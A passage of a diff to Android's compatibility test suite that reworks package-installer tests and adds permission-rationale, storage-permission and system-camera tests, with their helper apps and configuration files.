+        assertEquals(RESULT_OK, reinstall.get(TIMEOUT, TimeUnit.MILLISECONDS))
         assertInstalled()
     }
 }
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index f6bbe06..d84ab1b 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -38,12 +38,14 @@
 import android.support.test.uiautomator.Until
 import androidx.core.content.FileProvider
 import com.android.compatibility.common.util.AppOpsUtils
+import com.android.compatibility.common.util.FutureResultActivity
 import org.junit.After
 import org.junit.Assert
 import org.junit.Before
 import org.junit.Rule
 import java.io.File
 import java.lang.IllegalArgumentException
+import java.util.concurrent.CompletableFuture
 import java.util.concurrent.LinkedBlockingQueue
 import java.util.concurrent.TimeUnit
 
@@ -62,7 +64,7 @@
 
 open class PackageInstallerTestBase {
     @get:Rule
-    val installDialogStarter = ActivityTestRule(InstallConfirmDialogStarter::class.java)
+    val installDialogStarter = ActivityTestRule(FutureResultActivity::class.java)
 
     private val context = InstrumentationRegistry.getTargetContext()
     private val pm = context.packageManager
@@ -79,7 +81,7 @@
             if (status == STATUS_PENDING_USER_ACTION) {
                 val activityIntent = intent.getParcelableExtra<Intent>(EXTRA_INTENT)
                 activityIntent!!.addFlags(FLAG_ACTIVITY_CLEAR_TASK or FLAG_ACTIVITY_NEW_TASK)
-                installDialogStarter.activity.startActivityForResult(activityIntent, 0)
+                installDialogStarter.activity.startActivityForResult(activityIntent)
             }
 
             installSessionResult.offer(status)
@@ -128,7 +130,7 @@
     /**
      * Start an installation via a session
      */
-    protected fun startInstallationViaSession(): PackageInstaller.Session {
+    protected fun startInstallationViaSession(): CompletableFuture<Int> {
         val pi = pm.packageInstaller
 
         // Create session
@@ -143,33 +145,28 @@
         }
 
         // Commit session
-        val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(INSTALL_ACTION_CB),
-                FLAG_UPDATE_CURRENT)
-        session.commit(pendingIntent.intentSender)
+        val dialog = FutureResultActivity.doAndAwaitStart {
+            val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(INSTALL_ACTION_CB),
+                    FLAG_UPDATE_CURRENT)
+            session.commit(pendingIntent.intentSender)
+        }
 
         // The system should have asked us to launch the installer
         Assert.assertEquals(STATUS_PENDING_USER_ACTION, getInstallSessionResult())
 
-        return session
+        return dialog
     }
 
     /**
      * Start an installation via a session
      */
-    protected fun startInstallationViaIntent() {
+    protected fun startInstallationViaIntent(): CompletableFuture<Int> {
         val intent = Intent(Intent.ACTION_INSTALL_PACKAGE)
         intent.data = FileProvider.getUriForFile(context, CONTENT_AUTHORITY, apkFile)
         intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
         intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
 
-        installDialogStarter.activity.startActivityForResult(intent, 0)
-    }
-
-    /**
-     * Wait for result of install dialog and return it
-     */
-    fun getInstallDialogResult(timeout: Long = TIMEOUT): Int? {
-        return installDialogResults.poll(timeout, TimeUnit.MILLISECONDS)
+        return installDialogStarter.activity.startActivityForResult(intent)
     }
 
     fun assertInstalled() {
@@ -195,14 +192,6 @@
                 .click()
     }
 
-    /**
-     * Assert that there are no more callbacks from the install session or install dialog
-     */
-    fun assertNoMoreInstallResults() {
-        Assert.assertNull(getInstallSessionResult(0))
-        Assert.assertEquals(0, installDialogResults.size)
-    }
-
     @After
     fun unregisterInstallResultReceiver() {
         try {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 34b78c3..111e6a8 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -30,6 +30,7 @@
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.util.concurrent.TimeUnit
 
 private const val INSTALL_BUTTON_ID = "button1"
 private const val CANCEL_BUTTON_ID = "button2"
@@ -50,7 +51,7 @@
      */
     @Test
     fun confirmInstallation() {
-        startInstallationViaSession()
+        val installation = startInstallationViaSession()
         clickInstallerUIButton(INSTALL_BUTTON_ID)
 
         // Install should have succeeded
@@ -58,9 +59,7 @@
         assertInstalled()
 
         // Even when the install succeeds the install confirm dialog returns 'canceled'
-        assertEquals(RESULT_CANCELED, getInstallDialogResult())
-
-        assertNoMoreInstallResults()
+        assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
 
         assertTrue(AppOpsUtils.allowedOperationLogged(context.packageName, APP_OP_STR))
     }
@@ -70,7 +69,7 @@
      */
     @Test
     fun setAppCategory() {
-        startInstallationViaSession()
+        val installation = startInstallationViaSession()
         clickInstallerUIButton(INSTALL_BUTTON_ID)
 
         // Wait for installation to finish
@@ -90,14 +89,12 @@
      */
     @Test
     fun cancelInstallation() {
-        startInstallationViaSession()
+        val installation = startInstallationViaSession()
         clickInstallerUIButton(CANCEL_BUTTON_ID)
 
         // Install should have been aborted
         assertEquals(STATUS_FAILURE_ABORTED, getInstallSessionResult())
-        assertEquals(RESULT_CANCELED, getInstallDialogResult())
+        assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
         assertNotInstalled()
-
-        assertNoMoreInstallResults()
     }
 }
diff --git a/tests/tests/packageinstaller/nopermission/AndroidTest.xml b/tests/tests/packageinstaller/nopermission/AndroidTest.xml
index 9eb96cb..2229230 100644
--- a/tests/tests/packageinstaller/nopermission/AndroidTest.xml
+++ b/tests/tests/packageinstaller/nopermission/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/nopermission" />
diff --git a/tests/tests/packageinstaller/nopermission25/AndroidTest.xml b/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
index 176e6c5..bd9a85e 100644
--- a/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
+++ b/tests/tests/packageinstaller/nopermission25/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/nopermission" />
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index 4ab0568..0391f65 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/tapjacking/OWNERS b/tests/tests/packageinstaller/tapjacking/OWNERS
new file mode 100644
index 0000000..0088192
--- /dev/null
+++ b/tests/tests/packageinstaller/tapjacking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index a18a8f2..9fc0a88 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/OWNERS b/tests/tests/packageinstaller/uninstall/OWNERS
new file mode 100644
index 0000000..0088192
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index c4ee088..a4ee42b 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -42,6 +42,8 @@
         <option name="push" value="CtsAppThatRequestsLocationPermission29v4.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission29v4.apk" />
         <option name="push" value="CtsAppThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission28.apk" />
         <option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
+        <option name="push" value="CtsAppThatRequestsStoragePermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission29.apk" />
+        <option name="push" value="CtsAppThatRequestsStoragePermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission28.apk" />
         <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
         <option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
         <option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
@@ -50,12 +52,23 @@
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission28.apk" />
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission29.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission29.apk" />
         <option name="push" value="CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk" />
+        <option name="push" value="CtsAppThatRunsRationaleTests.apk->/data/local/tmp/cts/permissions/CtsAppThatRunsRationaleTests.apk" />
+        <option name="push" value="CtsAdversarialPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionUserApp.apk" />
+        <option name="push" value="CtsAdversarialPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionDefinerApp.apk" />
+        <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestpermission" />
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestnopermission" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.userapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
new file mode 100644
index 0000000..91fcec3
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsStoragePermission28",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml b/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml
new file mode 100644
index 0000000..a847f39
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="2">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
new file mode 100644
index 0000000..343de69
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsStoragePermission29",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml b/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml
new file mode 100644
index 0000000..c783085
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="1">
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
new file mode 100644
index 0000000..7251822
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatRunsRationaleTests",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "test_current",
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
new file mode 100644
index 0000000..cede468
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrunsrationaletests">
+
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+
+    <application android:label="CtsRationaleTests">
+        <activity android:name=".TestActivity">
+            <intent-filter>
+                <action android:name="CtsRationalTests.intent.action.Launch" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java b/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java
new file mode 100644
index 0000000..7544890
--- /dev/null
+++ b/tests/tests/permission/AppThatRunsRationaleTests/src/android/permission/cts/appthatrunsrationaletests/TestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthatrunsrationaletests;
+
+import android.Manifest;
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+public class TestActivity extends Activity {
+    private static final String CALLBACK_KEY = "testactivitycallback";
+    private static final String RESULT_KEY = "testactivityresult";
+    private static final String PERMISSION_NAME = Manifest.permission.READ_CONTACTS;
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        RemoteCallback cb = (RemoteCallback) getIntent().getExtras().get(CALLBACK_KEY);
+
+        boolean result = shouldShowRequestPermissionRationale(PERMISSION_NAME);
+        Bundle res = new Bundle();
+        res.putBoolean(RESULT_KEY, result);
+
+        finish();
+        cb.sendResult(res);
+    }
+}
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index fccfeef..c44024b 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -4,3 +4,4 @@
 per-file RequestLocation.java = hallliu@google.com
 per-file NoAudioPermissionTest.java = elaurent@google.com
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
+per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
index 7d100d7..e47b1ac 100644
--- a/tests/tests/permission/sdk28/AndroidTest.xml
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
diff --git a/tests/tests/permission/sdk28/OWNERS b/tests/tests/permission/sdk28/OWNERS
new file mode 100644
index 0000000..c126a70
--- /dev/null
+++ b/tests/tests/permission/sdk28/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
new file mode 100644
index 0000000..947e59a
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@AppModeFull(reason = "Tests properties of other app. Instant apps cannot interact with other apps")
+@RunWith(AndroidJUnit4ClassRunner.class)
+public class ActivityPermissionRationaleTest {
+    private static final String APK =
+            "/data/local/tmp/cts/permissions/CtsAppThatRunsRationaleTests.apk";
+    private static final String PACKAGE_NAME = "android.permission.cts.appthatrunsrationaletests";
+    private static final String PERMISSION_NAME = Manifest.permission.READ_CONTACTS;
+    private static final String CALLBACK_KEY = "testactivitycallback";
+    private static final String RESULT_KEY = "testactivityresult";
+    private static final int TIMEOUT = 5000;
+
+    private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private static UiAutomation sUiAuto =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
+    @BeforeClass
+    public static void setUp() {
+        runShellCommand("pm install -r " + APK);
+        int flag = PackageManager.FLAG_PERMISSION_USER_SET;
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flag, flag);
+    }
+
+    @AfterClass
+    public static void unInstallApp() {
+        runShellCommand("pm uninstall " + PACKAGE_NAME);
+    }
+
+    private void assertAppShowRationaleIs(boolean expected) throws Exception {
+        CompletableFuture<Boolean> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) ->
+                callbackReturn.complete(result.getBoolean(RESULT_KEY)));
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(PACKAGE_NAME, PACKAGE_NAME + ".TestActivity"));
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(CALLBACK_KEY, cb);
+
+        sContext.startActivity(intent);
+        assertThat(callbackReturn.get(TIMEOUT, TimeUnit.MILLISECONDS)).isEqualTo(expected);
+    }
+
+    @Before
+    public void clearData() {
+        runShellCommand("pm clear android.permission.cts.appthatrunsrationaletests");
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
+                PackageManager.FLAG_PERMISSION_POLICY_FIXED, 0);
+    }
+
+    @Test
+    public void permissionGrantedNoRationale() throws Exception {
+        sUiAuto.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME);
+
+        assertAppShowRationaleIs(false);
+    }
+
+    @Test
+    public void policyFixedNoRationale() throws Exception {
+        int flags = PackageManager.FLAG_PERMISSION_POLICY_FIXED;
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+        assertAppShowRationaleIs(false);
+    }
+
+    @Test
+    public void userFixedNoRationale() throws Exception {
+        int flags = PackageManager.FLAG_PERMISSION_USER_FIXED;
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+        assertAppShowRationaleIs(false);
+    }
+
+    @Test
+    public void notUserSetNoRationale() throws Exception {
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
+                PackageManager.FLAG_PERMISSION_USER_SET, 0);
+
+        assertAppShowRationaleIs(false);
+    }
+
+    @Test
+    public void userSetNeedRationale() throws Exception {
+        int flags = PackageManager.FLAG_PERMISSION_USER_SET;
+        PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME, flags, flags);
+
+        assertAppShowRationaleIs(true);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index 4076ace..379f478 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -19,27 +19,28 @@
 import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
 
 import android.content.Context;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraCharacteristics.Key;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import java.util.List;
-
 import com.android.ex.camera2.blocking.BlockingCameraManager;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Tests for Camera2 API related Permissions. Currently, this means
  * android.permission.CAMERA.
  */
 public class Camera2PermissionTest extends AndroidTestCase {
-    private static final String TAG = "CameraDeviceTest";
+    private static final String TAG = "Camera2PermissionTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final int CAMERA_CLOSE_TIMEOUT_MS = 2000;
 
@@ -99,6 +100,25 @@
     }
 
     /**
+     * Check that no system cameras can be discovered without
+     * {@link android.Manifest.permission#CAMERA} and android.permission.SYSTEM_CAMERA
+     */
+    public void testSystemCameraDiscovery() throws Exception {
+        for (String id : mCameraIds) {
+            Log.i(TAG, "testSystemCameraDiscovery for camera id " +  id);
+            CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(id);
+            assertNotNull("Camera characteristics shouldn't be null", characteristics);
+            int[] availableCapabilities =
+                    characteristics.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+            assertTrue("Camera capabilities shouldn't be null", availableCapabilities != null);
+            List<Integer> capList = toList(availableCapabilities);
+            assertFalse("System camera device " + id + " should not be public",
+                    capList.contains(
